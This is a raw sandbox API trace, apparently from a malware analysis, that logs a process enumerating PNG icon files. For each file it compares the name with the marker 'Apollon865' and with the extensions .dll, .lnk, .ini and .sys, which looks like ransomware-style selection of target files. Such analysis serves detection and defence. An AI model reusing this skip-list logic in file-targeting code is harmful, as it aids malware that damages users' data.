	[0051.443] lstrlenW (lpString="30.png") returned 6
	[0051.443] lstrlenW (lpString="Apollon865") returned 10
	[0051.443] lstrlenW (lpString=".dll") returned 4
	[0051.443] lstrcmpiW (lpString1="30.png", lpString2=".dll") returned 1
	[0051.443] lstrlenW (lpString=".lnk") returned 4
	[0051.443] lstrcmpiW (lpString1="30.png", lpString2=".lnk") returned 1
	[0051.443] lstrlenW (lpString=".ini") returned 4
	[0051.443] lstrcmpiW (lpString1="30.png", lpString2=".ini") returned 1
	[0051.443] lstrlenW (lpString=".sys") returned 4
	[0051.443] lstrcmpiW (lpString1="30.png", lpString2=".sys") returned 1
	[0051.443] lstrlenW (lpString="30.png") returned 6
	[0051.443] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="31.png" | out: lpString1="31.png") returned="31.png"
	[0051.443] lstrlenW (lpString="31.png") returned 6
	[0051.443] lstrlenW (lpString="Apollon865") returned 10
	[0051.443] lstrlenW (lpString=".dll") returned 4
	[0051.443] lstrcmpiW (lpString1="31.png", lpString2=".dll") returned 1
	[0051.443] lstrlenW (lpString=".lnk") returned 4
	[0051.443] lstrcmpiW (lpString1="31.png", lpString2=".lnk") returned 1
	[0051.443] lstrlenW (lpString=".ini") returned 4
	[0051.443] lstrcmpiW (lpString1="31.png", lpString2=".ini") returned 1
	[0051.444] lstrlenW (lpString=".sys") returned 4
	[0051.444] lstrcmpiW (lpString1="31.png", lpString2=".sys") returned 1
	[0051.444] lstrlenW (lpString="31.png") returned 6
	[0051.444] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="32.png" | out: lpString1="32.png") returned="32.png"
	[0051.444] lstrlenW (lpString="32.png") returned 6
	[0051.444] lstrlenW (lpString="Apollon865") returned 10
	[0051.444] lstrlenW (lpString=".dll") returned 4
	[0051.444] lstrcmpiW (lpString1="32.png", lpString2=".dll") returned 1
	[0051.444] lstrlenW (lpString=".lnk") returned 4
	[0051.444] lstrcmpiW (lpString1="32.png", lpString2=".lnk") returned 1
	[0051.444] lstrlenW (lpString=".ini") returned 4
	[0051.444] lstrcmpiW (lpString1="32.png", lpString2=".ini") returned 1
	[0051.444] lstrlenW (lpString=".sys") returned 4
	[0051.444] lstrcmpiW (lpString1="32.png", lpString2=".sys") returned 1
	[0051.444] lstrlenW (lpString="32.png") returned 6
	[0051.444] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="33.png" | out: lpString1="33.png") returned="33.png"
	[0051.444] lstrlenW (lpString="33.png") returned 6
	[0051.444] lstrlenW (lpString="Apollon865") returned 10
	[0051.444] lstrlenW (lpString=".dll") returned 4
	[0051.444] lstrcmpiW (lpString1="33.png", lpString2=".dll") returned 1
	[0051.444] lstrlenW (lpString=".lnk") returned 4
	[0051.444] lstrcmpiW (lpString1="33.png", lpString2=".lnk") returned 1
	[0051.444] lstrlenW (lpString=".ini") returned 4
	[0051.444] lstrcmpiW (lpString1="33.png", lpString2=".ini") returned 1
	[0051.444] lstrlenW (lpString=".sys") returned 4
	[0051.444] lstrcmpiW (lpString1="33.png", lpString2=".sys") returned 1
	[0051.444] lstrlenW (lpString="33.png") returned 6
	[0051.444] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="34.png" | out: lpString1="34.png") returned="34.png"
	[0051.445] lstrlenW (lpString="34.png") returned 6
	[0051.445] lstrlenW (lpString="Apollon865") returned 10
	[0051.445] lstrlenW (lpString=".dll") returned 4
	[0051.445] lstrcmpiW (lpString1="34.png", lpString2=".dll") returned 1
	[0051.445] lstrlenW (lpString=".lnk") returned 4
	[0051.445] lstrcmpiW (lpString1="34.png", lpString2=".lnk") returned 1
	[0051.445] lstrlenW (lpString=".ini") returned 4
	[0051.445] lstrcmpiW (lpString1="34.png", lpString2=".ini") returned 1
	[0051.445] lstrlenW (lpString=".sys") returned 4
	[0051.445] lstrcmpiW (lpString1="34.png", lpString2=".sys") returned 1
	[0051.445] lstrlenW (lpString="34.png") returned 6
	[0051.445] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="35.png" | out: lpString1="35.png") returned="35.png"
	[0051.445] lstrlenW (lpString="35.png") returned 6
	[0051.445] lstrlenW (lpString="Apollon865") returned 10
	[0051.445] lstrlenW (lpString=".dll") returned 4
	[0051.445] lstrcmpiW (lpString1="35.png", lpString2=".dll") returned 1
	[0051.445] lstrlenW (lpString=".lnk") returned 4
	[0051.445] lstrcmpiW (lpString1="35.png", lpString2=".lnk") returned 1
	[0051.445] lstrlenW (lpString=".ini") returned 4
	[0051.445] lstrcmpiW (lpString1="35.png", lpString2=".ini") returned 1
	[0051.445] lstrlenW (lpString=".sys") returned 4
	[0051.445] lstrcmpiW (lpString1="35.png", lpString2=".sys") returned 1
	[0051.445] lstrlenW (lpString="35.png") returned 6
	[0051.445] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="36.png" | out: lpString1="36.png") returned="36.png"
	[0051.445] lstrlenW (lpString="36.png") returned 6
	[0051.445] lstrlenW (lpString="Apollon865") returned 10
	[0051.445] lstrlenW (lpString=".dll") returned 4
	[0051.445] lstrcmpiW (lpString1="36.png", lpString2=".dll") returned 1
	[0051.445] lstrlenW (lpString=".lnk") returned 4
	[0051.445] lstrcmpiW (lpString1="36.png", lpString2=".lnk") returned 1
	[0051.446] lstrlenW (lpString=".ini") returned 4
	[0051.446] lstrcmpiW (lpString1="36.png", lpString2=".ini") returned 1
	[0051.446] lstrlenW (lpString=".sys") returned 4
	[0051.446] lstrcmpiW (lpString1="36.png", lpString2=".sys") returned 1
	[0051.446] lstrlenW (lpString="36.png") returned 6
	[0051.446] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="37.png" | out: lpString1="37.png") returned="37.png"
	[0051.446] lstrlenW (lpString="37.png") returned 6
	[0051.446] lstrlenW (lpString="Apollon865") returned 10
	[0051.446] lstrlenW (lpString=".dll") returned 4
	[0051.446] lstrcmpiW (lpString1="37.png", lpString2=".dll") returned 1
	[0051.446] lstrlenW (lpString=".lnk") returned 4
	[0051.446] lstrcmpiW (lpString1="37.png", lpString2=".lnk") returned 1
	[0051.446] lstrlenW (lpString=".ini") returned 4
	[0051.446] lstrcmpiW (lpString1="37.png", lpString2=".ini") returned 1
	[0051.446] lstrlenW (lpString=".sys") returned 4
	[0051.446] lstrcmpiW (lpString1="37.png", lpString2=".sys") returned 1
	[0051.446] lstrlenW (lpString="37.png") returned 6
	[0051.446] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="38.png" | out: lpString1="38.png") returned="38.png"
	[0051.446] lstrlenW (lpString="38.png") returned 6
	[0051.446] lstrlenW (lpString="Apollon865") returned 10
	[0051.446] lstrlenW (lpString=".dll") returned 4
	[0051.446] lstrcmpiW (lpString1="38.png", lpString2=".dll") returned 1
	[0051.446] lstrlenW (lpString=".lnk") returned 4
	[0051.446] lstrcmpiW (lpString1="38.png", lpString2=".lnk") returned 1
	[0051.446] lstrlenW (lpString=".ini") returned 4
	[0051.446] lstrcmpiW (lpString1="38.png", lpString2=".ini") returned 1
	[0051.446] lstrlenW (lpString=".sys") returned 4
	[0051.446] lstrcmpiW (lpString1="38.png", lpString2=".sys") returned 1
	[0051.446] lstrlenW (lpString="38.png") returned 6
	[0051.448] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="39.png" | out: lpString1="39.png") returned="39.png"
	[0051.448] lstrlenW (lpString="39.png") returned 6
	[0051.448] lstrlenW (lpString="Apollon865") returned 10
	[0051.448] lstrlenW (lpString=".dll") returned 4
	[0051.448] lstrcmpiW (lpString1="39.png", lpString2=".dll") returned 1
	[0051.448] lstrlenW (lpString=".lnk") returned 4
	[0051.448] lstrcmpiW (lpString1="39.png", lpString2=".lnk") returned 1
	[0051.448] lstrlenW (lpString=".ini") returned 4
	[0051.448] lstrcmpiW (lpString1="39.png", lpString2=".ini") returned 1
	[0051.448] lstrlenW (lpString=".sys") returned 4
	[0051.448] lstrcmpiW (lpString1="39.png", lpString2=".sys") returned 1
	[0051.448] lstrlenW (lpString="39.png") returned 6
	[0051.448] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="4.png" | out: lpString1="4.png") returned="4.png"
	[0051.448] lstrlenW (lpString="4.png") returned 5
	[0051.448] lstrlenW (lpString="Apollon865") returned 10
	[0051.448] lstrlenW (lpString=".dll") returned 4
	[0051.448] lstrcmpiW (lpString1="4.png", lpString2=".dll") returned 1
	[0051.448] lstrlenW (lpString=".lnk") returned 4
	[0051.448] lstrcmpiW (lpString1="4.png", lpString2=".lnk") returned 1
	[0051.448] lstrlenW (lpString=".ini") returned 4
	[0051.448] lstrcmpiW (lpString1="4.png", lpString2=".ini") returned 1
	[0051.448] lstrlenW (lpString=".sys") returned 4
	[0051.448] lstrcmpiW (lpString1="4.png", lpString2=".sys") returned 1
	[0051.448] lstrlenW (lpString="4.png") returned 5
	[0051.448] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="40.png" | out: lpString1="40.png") returned="40.png"
	[0051.449] lstrlenW (lpString="40.png") returned 6
	[0051.449] lstrlenW (lpString="Apollon865") returned 10
	[0051.449] lstrlenW (lpString=".dll") returned 4
	[0051.449] lstrcmpiW (lpString1="40.png", lpString2=".dll") returned 1
	[0051.449] lstrlenW (lpString=".lnk") returned 4
	[0051.449] lstrcmpiW (lpString1="40.png", lpString2=".lnk") returned 1
	[0051.449] lstrlenW (lpString=".ini") returned 4
	[0051.449] lstrcmpiW (lpString1="40.png", lpString2=".ini") returned 1
	[0051.449] lstrlenW (lpString=".sys") returned 4
	[0051.449] lstrcmpiW (lpString1="40.png", lpString2=".sys") returned 1
	[0051.449] lstrlenW (lpString="40.png") returned 6
	[0051.449] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="41.png" | out: lpString1="41.png") returned="41.png"
	[0051.449] lstrlenW (lpString="41.png") returned 6
	[0051.449] lstrlenW (lpString="Apollon865") returned 10
	[0051.449] lstrlenW (lpString=".dll") returned 4
	[0051.449] lstrcmpiW (lpString1="41.png", lpString2=".dll") returned 1
	[0051.449] lstrlenW (lpString=".lnk") returned 4
	[0051.449] lstrcmpiW (lpString1="41.png", lpString2=".lnk") returned 1
	[0051.449] lstrlenW (lpString=".ini") returned 4
	[0051.449] lstrcmpiW (lpString1="41.png", lpString2=".ini") returned 1
	[0051.450] lstrlenW (lpString=".sys") returned 4
	[0051.450] lstrcmpiW (lpString1="41.png", lpString2=".sys") returned 1
	[0051.450] lstrlenW (lpString="41.png") returned 6
	[0051.450] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="42.png" | out: lpString1="42.png") returned="42.png"
	[0051.450] lstrlenW (lpString="42.png") returned 6
	[0051.450] lstrlenW (lpString="Apollon865") returned 10
	[0051.450] lstrlenW (lpString=".dll") returned 4
	[0051.450] lstrcmpiW (lpString1="42.png", lpString2=".dll") returned 1
	[0051.450] lstrlenW (lpString=".lnk") returned 4
	[0051.450] lstrcmpiW (lpString1="42.png", lpString2=".lnk") returned 1
	[0051.450] lstrlenW (lpString=".ini") returned 4
	[0051.450] lstrcmpiW (lpString1="42.png", lpString2=".ini") returned 1
	[0051.450] lstrlenW (lpString=".sys") returned 4
	[0051.450] lstrcmpiW (lpString1="42.png", lpString2=".sys") returned 1
	[0051.450] lstrlenW (lpString="42.png") returned 6
	[0051.450] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="43.png" | out: lpString1="43.png") returned="43.png"
	[0051.452] lstrlenW (lpString="43.png") returned 6
	[0051.452] lstrlenW (lpString="Apollon865") returned 10
	[0051.452] lstrlenW (lpString=".dll") returned 4
	[0051.452] lstrcmpiW (lpString1="43.png", lpString2=".dll") returned 1
	[0051.452] lstrlenW (lpString=".lnk") returned 4
	[0051.452] lstrcmpiW (lpString1="43.png", lpString2=".lnk") returned 1
	[0051.452] lstrlenW (lpString=".ini") returned 4
	[0051.452] lstrcmpiW (lpString1="43.png", lpString2=".ini") returned 1
	[0051.452] lstrlenW (lpString=".sys") returned 4
	[0051.452] lstrcmpiW (lpString1="43.png", lpString2=".sys") returned 1
	[0051.452] lstrlenW (lpString="43.png") returned 6
	[0051.452] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="44.png" | out: lpString1="44.png") returned="44.png"
	[0051.452] lstrlenW (lpString="44.png") returned 6
	[0051.452] lstrlenW (lpString="Apollon865") returned 10
	[0051.452] lstrlenW (lpString=".dll") returned 4
	[0051.453] lstrcmpiW (lpString1="44.png", lpString2=".dll") returned 1
	[0051.453] lstrlenW (lpString=".lnk") returned 4
	[0051.453] lstrcmpiW (lpString1="44.png", lpString2=".lnk") returned 1
	[0051.453] lstrlenW (lpString=".ini") returned 4
	[0051.453] lstrcmpiW (lpString1="44.png", lpString2=".ini") returned 1
	[0051.453] lstrlenW (lpString=".sys") returned 4
	[0051.453] lstrcmpiW (lpString1="44.png", lpString2=".sys") returned 1
	[0051.453] lstrlenW (lpString="44.png") returned 6
	[0051.453] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="45.png" | out: lpString1="45.png") returned="45.png"
	[0051.453] lstrlenW (lpString="45.png") returned 6
	[0051.453] lstrlenW (lpString="Apollon865") returned 10
	[0051.453] lstrlenW (lpString=".dll") returned 4
	[0051.453] lstrcmpiW (lpString1="45.png", lpString2=".dll") returned 1
	[0051.453] lstrlenW (lpString=".lnk") returned 4
	[0051.453] lstrcmpiW (lpString1="45.png", lpString2=".lnk") returned 1
	[0051.453] lstrlenW (lpString=".ini") returned 4
	[0051.453] lstrcmpiW (lpString1="45.png", lpString2=".ini") returned 1
	[0051.453] lstrlenW (lpString=".sys") returned 4
	[0051.453] lstrcmpiW (lpString1="45.png", lpString2=".sys") returned 1
	[0051.453] lstrlenW (lpString="45.png") returned 6
	[0051.453] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="46.png" | out: lpString1="46.png") returned="46.png"
	[0051.453] lstrlenW (lpString="46.png") returned 6
	[0051.453] lstrlenW (lpString="Apollon865") returned 10
	[0051.453] lstrlenW (lpString=".dll") returned 4
	[0051.453] lstrcmpiW (lpString1="46.png", lpString2=".dll") returned 1
	[0051.453] lstrlenW (lpString=".lnk") returned 4
	[0051.453] lstrcmpiW (lpString1="46.png", lpString2=".lnk") returned 1
	[0051.453] lstrlenW (lpString=".ini") returned 4
	[0051.453] lstrcmpiW (lpString1="46.png", lpString2=".ini") returned 1
	[0051.453] lstrlenW (lpString=".sys") returned 4
	[0051.454] lstrcmpiW (lpString1="46.png", lpString2=".sys") returned 1
	[0051.454] lstrlenW (lpString="46.png") returned 6
	[0051.454] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="47.png" | out: lpString1="47.png") returned="47.png"
	[0051.454] lstrlenW (lpString="47.png") returned 6
	[0051.454] lstrlenW (lpString="Apollon865") returned 10
	[0051.454] lstrlenW (lpString=".dll") returned 4
	[0051.454] lstrcmpiW (lpString1="47.png", lpString2=".dll") returned 1
	[0051.454] lstrlenW (lpString=".lnk") returned 4
	[0051.454] lstrcmpiW (lpString1="47.png", lpString2=".lnk") returned 1
	[0051.454] lstrlenW (lpString=".ini") returned 4
	[0051.454] lstrcmpiW (lpString1="47.png", lpString2=".ini") returned 1
	[0051.454] lstrlenW (lpString=".sys") returned 4
	[0051.454] lstrcmpiW (lpString1="47.png", lpString2=".sys") returned 1
	[0051.454] lstrlenW (lpString="47.png") returned 6
	[0051.454] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="5.png" | out: lpString1="5.png") returned="5.png"
	[0051.454] lstrlenW (lpString="5.png") returned 5
	[0051.454] lstrlenW (lpString="Apollon865") returned 10
	[0051.454] lstrlenW (lpString=".dll") returned 4
	[0051.454] lstrcmpiW (lpString1="5.png", lpString2=".dll") returned 1
	[0051.454] lstrlenW (lpString=".lnk") returned 4
	[0051.454] lstrcmpiW (lpString1="5.png", lpString2=".lnk") returned 1
	[0051.454] lstrlenW (lpString=".ini") returned 4
	[0051.454] lstrcmpiW (lpString1="5.png", lpString2=".ini") returned 1
	[0051.454] lstrlenW (lpString=".sys") returned 4
	[0051.454] lstrcmpiW (lpString1="5.png", lpString2=".sys") returned 1
	[0051.454] lstrlenW (lpString="5.png") returned 5
	[0051.454] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="6.png" | out: lpString1="6.png") returned="6.png"
	[0051.454] lstrlenW (lpString="6.png") returned 5
	[0051.454] lstrlenW (lpString="Apollon865") returned 10
	[0051.455] lstrlenW (lpString=".dll") returned 4
	[0051.455] lstrcmpiW (lpString1="6.png", lpString2=".dll") returned 1
	[0051.455] lstrlenW (lpString=".lnk") returned 4
	[0051.455] lstrcmpiW (lpString1="6.png", lpString2=".lnk") returned 1
	[0051.455] lstrlenW (lpString=".ini") returned 4
	[0051.455] lstrcmpiW (lpString1="6.png", lpString2=".ini") returned 1
	[0051.455] lstrlenW (lpString=".sys") returned 4
	[0051.455] lstrcmpiW (lpString1="6.png", lpString2=".sys") returned 1
	[0051.455] lstrlenW (lpString="6.png") returned 5
	[0051.455] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="7.png" | out: lpString1="7.png") returned="7.png"
	[0051.455] lstrlenW (lpString="7.png") returned 5
	[0051.455] lstrlenW (lpString="Apollon865") returned 10
	[0051.455] lstrlenW (lpString=".dll") returned 4
	[0051.455] lstrcmpiW (lpString1="7.png", lpString2=".dll") returned 1
	[0051.455] lstrlenW (lpString=".lnk") returned 4
	[0051.455] lstrcmpiW (lpString1="7.png", lpString2=".lnk") returned 1
	[0051.455] lstrlenW (lpString=".ini") returned 4
	[0051.455] lstrcmpiW (lpString1="7.png", lpString2=".ini") returned 1
	[0051.455] lstrlenW (lpString=".sys") returned 4
	[0051.455] lstrcmpiW (lpString1="7.png", lpString2=".sys") returned 1
	[0051.455] lstrlenW (lpString="7.png") returned 5
	[0051.455] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="8.png" | out: lpString1="8.png") returned="8.png"
	[0051.455] lstrlenW (lpString="8.png") returned 5
	[0051.455] lstrlenW (lpString="Apollon865") returned 10
	[0051.455] lstrlenW (lpString=".dll") returned 4
	[0051.455] lstrcmpiW (lpString1="8.png", lpString2=".dll") returned 1
	[0051.455] lstrlenW (lpString=".lnk") returned 4
	[0051.455] lstrcmpiW (lpString1="8.png", lpString2=".lnk") returned 1
	[0051.455] lstrlenW (lpString=".ini") returned 4
	[0051.455] lstrcmpiW (lpString1="8.png", lpString2=".ini") returned 1
	[0051.455] lstrlenW (lpString=".sys") returned 4
	[0051.456] lstrcmpiW (lpString1="8.png", lpString2=".sys") returned 1
	[0051.456] lstrlenW (lpString="8.png") returned 5
	[0051.456] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="9.png" | out: lpString1="9.png") returned="9.png"
	[0051.456] lstrlenW (lpString="9.png") returned 5
	[0051.456] lstrlenW (lpString="Apollon865") returned 10
	[0051.456] lstrlenW (lpString=".dll") returned 4
	[0051.456] lstrcmpiW (lpString1="9.png", lpString2=".dll") returned 1
	[0051.456] lstrlenW (lpString=".lnk") returned 4
	[0051.456] lstrcmpiW (lpString1="9.png", lpString2=".lnk") returned 1
	[0051.456] lstrlenW (lpString=".ini") returned 4
	[0051.456] lstrcmpiW (lpString1="9.png", lpString2=".ini") returned 1
	[0051.456] lstrlenW (lpString=".sys") returned 4
	[0051.456] lstrcmpiW (lpString1="9.png", lpString2=".sys") returned 1
	[0051.456] lstrlenW (lpString="9.png") returned 5
	[0051.456] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="activity16v.png" | out: lpString1="activity16v.png") returned="activity16v.png"
	[0051.456] lstrlenW (lpString="activity16v.png") returned 15
	[0051.456] lstrlenW (lpString="Apollon865") returned 10
	[0051.456] lstrcmpiW (lpString1="ity16v.png", lpString2="Apollon865") returned 1
	[0051.456] lstrlenW (lpString=".dll") returned 4
	[0051.456] lstrcmpiW (lpString1="activity16v.png", lpString2=".dll") returned 1
	[0051.456] lstrlenW (lpString=".lnk") returned 4
	[0051.456] lstrcmpiW (lpString1="activity16v.png", lpString2=".lnk") returned 1
	[0051.456] lstrlenW (lpString=".ini") returned 4
	[0051.456] lstrcmpiW (lpString1="activity16v.png", lpString2=".ini") returned 1
	[0051.456] lstrlenW (lpString=".sys") returned 4
	[0051.456] lstrcmpiW (lpString1="activity16v.png", lpString2=".sys") returned 1
	[0051.456] lstrlenW (lpString="activity16v.png") returned 15
	[0051.456] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="alertIcon.png" | out: lpString1="alertIcon.png") returned="alertIcon.png"
	[0051.456] lstrlenW (lpString="alertIcon.png") returned 13
	[0051.457] lstrlenW (lpString="Apollon865") returned 10
	[0051.457] lstrcmpiW (lpString1="rtIcon.png", lpString2="Apollon865") returned 1
	[0051.457] lstrlenW (lpString=".dll") returned 4
	[0051.457] lstrcmpiW (lpString1="alertIcon.png", lpString2=".dll") returned 1
	[0051.457] lstrlenW (lpString=".lnk") returned 4
	[0051.457] lstrcmpiW (lpString1="alertIcon.png", lpString2=".lnk") returned 1
	[0051.457] lstrlenW (lpString=".ini") returned 4
	[0051.457] lstrcmpiW (lpString1="alertIcon.png", lpString2=".ini") returned 1
	[0051.457] lstrlenW (lpString=".sys") returned 4
	[0051.457] lstrcmpiW (lpString1="alertIcon.png", lpString2=".sys") returned 1
	[0051.457] lstrlenW (lpString="alertIcon.png") returned 13
	[0051.457] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="btn_close_down.png" | out: lpString1="btn_close_down.png") returned="btn_close_down.png"
	[0051.457] lstrlenW (lpString="btn_close_down.png") returned 18
	[0051.457] lstrlenW (lpString="Apollon865") returned 10
	[0051.457] lstrcmpiW (lpString1="e_down.png", lpString2="Apollon865") returned 1
	[0051.457] lstrlenW (lpString=".dll") returned 4
	[0051.457] lstrcmpiW (lpString1="btn_close_down.png", lpString2=".dll") returned 1
	[0051.457] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="btn_close_down_BIDI.png" | out: lpString1="btn_close_down_BIDI.png") returned="btn_close_down_BIDI.png"
	[0051.457] lstrlenW (lpString="btn_close_down_BIDI.png") returned 23
	[0051.457] lstrlenW (lpString="Apollon865") returned 10
	[0051.457] lstrcmpiW (lpString1="n_BIDI.png", lpString2="Apollon865") returned 1
	[0051.457] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="btn_close_over.png" | out: lpString1="btn_close_over.png") returned="btn_close_over.png"
	[0051.457] lstrlenW (lpString="btn_close_over.png") returned 18
	[0051.457] lstrlenW (lpString="Apollon865") returned 10
	[0051.457] lstrcmpiW (lpString1="e_over.png", lpString2="Apollon865") returned 1
	[0051.457] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="btn_close_up.png" | out: lpString1="btn_close_up.png") returned="btn_close_up.png"
	[0051.458] lstrlenW (lpString="btn_close_up.png") returned 16
	[0051.458] lstrlenW (lpString="Apollon865") returned 10
	[0051.458] lstrcmpiW (lpString1="ose_up.png", lpString2="Apollon865") returned 1
	[0051.458] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="btn_search_down.png" | out: lpString1="btn_search_down.png") returned="btn_search_down.png"
	[0051.458] lstrlenW (lpString="btn_search_down.png") returned 19
	[0051.458] lstrlenW (lpString="Apollon865") returned 10
	[0051.458] lstrcmpiW (lpString1="h_down.png", lpString2="Apollon865") returned 1
	[0051.458] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="btn_search_down_BIDI.png" | out: lpString1="btn_search_down_BIDI.png") returned="btn_search_down_BIDI.png"
	[0051.458] lstrlenW (lpString="btn_search_down_BIDI.png") returned 24
	[0051.458] lstrlenW (lpString="Apollon865") returned 10
	[0051.458] lstrcmpiW (lpString1="n_BIDI.png", lpString2="Apollon865") returned 1
	[0051.458] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="btn_search_over.png" | out: lpString1="btn_search_over.png") returned="btn_search_over.png"
	[0051.458] lstrlenW (lpString="btn_search_over.png") returned 19
	[0051.458] lstrlenW (lpString="Apollon865") returned 10
	[0051.458] lstrcmpiW (lpString1="h_over.png", lpString2="Apollon865") returned 1
	[0051.458] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="btn_search_over_BIDI.png" | out: lpString1="btn_search_over_BIDI.png") returned="btn_search_over_BIDI.png"
	[0051.458] lstrlenW (lpString="btn_search_over_BIDI.png") returned 24
	[0051.458] lstrlenW (lpString="Apollon865") returned 10
	[0051.458] lstrcmpiW (lpString1="r_BIDI.png", lpString2="Apollon865") returned 1
	[0051.458] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="btn_search_up.png" | out: lpString1="btn_search_up.png") returned="btn_search_up.png"
	[0051.458] lstrlenW (lpString="btn_search_up.png") returned 17
	[0051.458] lstrlenW (lpString="Apollon865") returned 10
	[0051.458] lstrcmpiW (lpString1="rch_up.png", lpString2="Apollon865") returned 1
	[0051.458] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="btn_search_up_BIDI.png" | out: lpString1="btn_search_up_BIDI.png") returned="btn_search_up_BIDI.png"
	[0051.459] lstrlenW (lpString="btn_search_up_BIDI.png") returned 22
	[0051.459] lstrlenW (lpString="Apollon865") returned 10
	[0051.459] lstrcmpiW (lpString1="p_BIDI.png", lpString2="Apollon865") returned 1
	[0051.459] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="divider-horizontal.png" | out: lpString1="divider-horizontal.png") returned="divider-horizontal.png"
	[0051.459] lstrlenW (lpString="divider-horizontal.png") returned 22
	[0051.459] lstrlenW (lpString="Apollon865") returned 10
	[0051.459] lstrcmpiW (lpString1="zontal.png", lpString2="Apollon865") returned 1
	[0051.459] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="divider-vertical.png" | out: lpString1="divider-vertical.png") returned="divider-vertical.png"
	[0051.459] lstrlenW (lpString="divider-vertical.png") returned 20
	[0051.459] lstrlenW (lpString="Apollon865") returned 10
	[0051.459] lstrcmpiW (lpString1="rtical.png", lpString2="Apollon865") returned 1
	[0051.459] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked-loading.png" | out: lpString1="docked-loading.png") returned="docked-loading.png"
	[0051.459] lstrlenW (lpString="docked-loading.png") returned 18
	[0051.459] lstrlenW (lpString="Apollon865") returned 10
	[0051.459] lstrcmpiW (lpString1="oading.png", lpString2="Apollon865") returned 1
	[0051.459] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_black_cloudy.png" | out: lpString1="docked_black_cloudy.png") returned="docked_black_cloudy.png"
	[0051.459] lstrlenW (lpString="docked_black_cloudy.png") returned 23
	[0051.459] lstrlenW (lpString="Apollon865") returned 10
	[0051.459] lstrcmpiW (lpString1="cloudy.png", lpString2="Apollon865") returned 1
	[0051.459] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_black_few-showers.png" | out: lpString1="docked_black_few-showers.png") returned="docked_black_few-showers.png"
	[0051.459] lstrlenW (lpString="docked_black_few-showers.png") returned 28
	[0051.459] lstrlenW (lpString="Apollon865") returned 10
	[0051.459] lstrcmpiW (lpString1="howers.png", lpString2="Apollon865") returned 1
	[0051.460] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_black_foggy.png" | out: lpString1="docked_black_foggy.png") returned="docked_black_foggy.png"
	[0051.460] lstrlenW (lpString="docked_black_foggy.png") returned 22
	[0051.460] lstrlenW (lpString="Apollon865") returned 10
	[0051.460] lstrcmpiW (lpString1="_foggy.png", lpString2="Apollon865") returned -1
	[0051.460] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_black_hail.png" | out: lpString1="docked_black_hail.png") returned="docked_black_hail.png"
	[0051.460] lstrlenW (lpString="docked_black_hail.png") returned 21
	[0051.460] lstrlenW (lpString="Apollon865") returned 10
	[0051.460] lstrcmpiW (lpString1="k_hail.png", lpString2="Apollon865") returned 1
	[0051.460] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_black_moon-first-quarter.png" | out: lpString1="docked_black_moon-first-quarter.png") returned="docked_black_moon-first-quarter.png"
	[0051.460] lstrlenW (lpString="docked_black_moon-first-quarter.png") returned 35
	[0051.460] lstrlenW (lpString="Apollon865") returned 10
	[0051.460] lstrcmpiW (lpString1="uarter.png", lpString2="Apollon865") returned 1
	[0051.460] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_black_moon-first-quarter_partly-cloudy.png" | out: lpString1="docked_black_moon-first-quarter_partly-cloudy.png") returned="docked_black_moon-first-quarter_partly-cloudy.png"
	[0051.460] lstrlenW (lpString="docked_black_moon-first-quarter_partly-cloudy.png") returned 49
	[0051.461] lstrlenW (lpString="Apollon865") returned 10
	[0051.461] lstrcmpiW (lpString1="cloudy.png", lpString2="Apollon865") returned 1
	[0051.461] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_black_moon-full.png" | out: lpString1="docked_black_moon-full.png") returned="docked_black_moon-full.png"
	[0051.461] lstrlenW (lpString="docked_black_moon-full.png") returned 26
	[0051.461] lstrlenW (lpString="Apollon865") returned 10
	[0051.461] lstrcmpiW (lpString1="n-full.png", lpString2="Apollon865") returned 1
	[0051.461] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_black_moon-full_partly-cloudy.png" | out: lpString1="docked_black_moon-full_partly-cloudy.png") returned="docked_black_moon-full_partly-cloudy.png"
	[0051.461] lstrlenW (lpString="docked_black_moon-full_partly-cloudy.png") returned 40
	[0051.461] lstrlenW (lpString="Apollon865") returned 10
	[0051.461] lstrcmpiW (lpString1="cloudy.png", lpString2="Apollon865") returned 1
	[0051.461] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="docked_black_moon-last-quarter.png" | out: lpString1="docked_black_moon-last-quarter.png") returned="docked_black_moon-last-quarter.png"
	[0051.461] lstrlenW (lpString="docked_black_moon-last-quarter.png") returned 34
	[0051.461] lstrlenW (lpString="Apollon865") returned 10
